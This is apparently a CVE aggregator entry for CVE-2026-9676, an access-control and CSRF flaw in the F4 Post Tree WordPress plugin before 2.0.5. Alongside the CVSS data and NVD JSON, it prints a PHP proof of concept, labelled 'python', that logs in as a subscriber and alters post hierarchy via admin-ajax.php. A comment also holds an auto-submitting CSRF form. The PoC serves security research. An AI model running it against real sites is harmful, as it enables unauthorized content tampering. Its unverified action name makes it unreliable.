CVE-2026-9676

Description

The F4 Post Tree WordPress plugin before 2.0.5 does not perform capability checks or CSRF/nonce verification on one of its AJAX actions, allowing authenticated users with Subscriber-level access and above to modify the parent and menu order of arbitrary posts.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

F4 Post Tree < 2.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2026-9676 PoC - F4 Post Tree WordPress Plugin
 * Missing Capability Check & CSRF/Nonce Verification on AJAX action
 *
 * This PoC demonstrates how a Subscriber-level authenticated user
 * can modify the parent and menu order of arbitrary posts via
 * the unprotected AJAX endpoint in F4 Post Tree < 2.0.5
 */

// Target WordPress site URL
$target_url = 'https://target-wordpress-site.com';

// Step 1: Authenticate as a Subscriber-level user
// Obtain session cookies by logging in
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'wp_cookies_');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log'         => 'subscriber_user',
    'pwd'         => 'subscriber_password',
    'wp-submit'   => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie'  => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as Subscriber-level user\n";

// Step 2: Exploit the unprotected AJAX action to modify post hierarchy
// The vulnerable AJAX action does not check capabilities or nonce
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Parameters to modify a target post's parent and menu order
$post_id        = 123;       // Target post ID to modify
$new_parent_id  = 456;       // New parent post ID
$new_menu_order = 1;         // New menu order value

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action'     => 'f4pt_update_post_tree', // Vulnerable AJAX action name
    'post_id'    => $post_id,
    'parent_id'  => $new_parent_id,
    'menu_order' => $new_menu_order,
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] AJAX request sent (HTTP $http_code)\n";
echo "[*] Response: $result\n";

if ($http_code === 200) {
    echo "[+] Post #$post_id hierarchy modified successfully!\n";
    echo "[+] New parent: #$new_parent_id, Menu order: $new_menu_order\n";
} else {
    echo "[-] Exploit may have failed\n";
}

// Cleanup
unlink($cookie_jar);

/**
 * CSRF Variant (No authentication required if admin visits malicious page):
 *
 * <html>
 * <body onload="document.forms[0].submit()">
 *   <form action="https://target-wordpress-site.com/wp-admin/admin-ajax.php" method="POST">
 *     <input type="hidden" name="action" value="f4pt_update_post_tree" />
 *     <input type="hidden" name="post_id" value="123" />
 *     <input type="hidden" name="parent_id" value="456" />
 *     <input type="hidden" name="menu_order" value="1" />
 *   </form>
 * </body>
 * </html>
 */

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9676
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9676
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9676/
[4] VulDB https://vuldb.com/cve/CVE-2026-9676
[5] https://wpscan.com/vulnerability/54627b10-115c-4434-a17b-eb680244889f/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9676", "sourceIdentifier": "[email protected]", "published": "2026-06-29T07:16:26.257", "lastModified": "2026-06-29T14:16:59.303", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The F4 Post Tree WordPress plugin before 2.0.5 does not perform capability checks or CSRF/nonce verification on one of its AJAX actions, allowing authenticated users with Subscriber-level access and above to modify the parent and menu order of arbitrary posts."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "F4 Post Tree", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "2.0.5", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-29T12:46:41.620661Z", "id": "CVE-2026-9676", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/54627b10-115c-4434-a17b-eb680244889f/", "source": "[email protected]"}]}}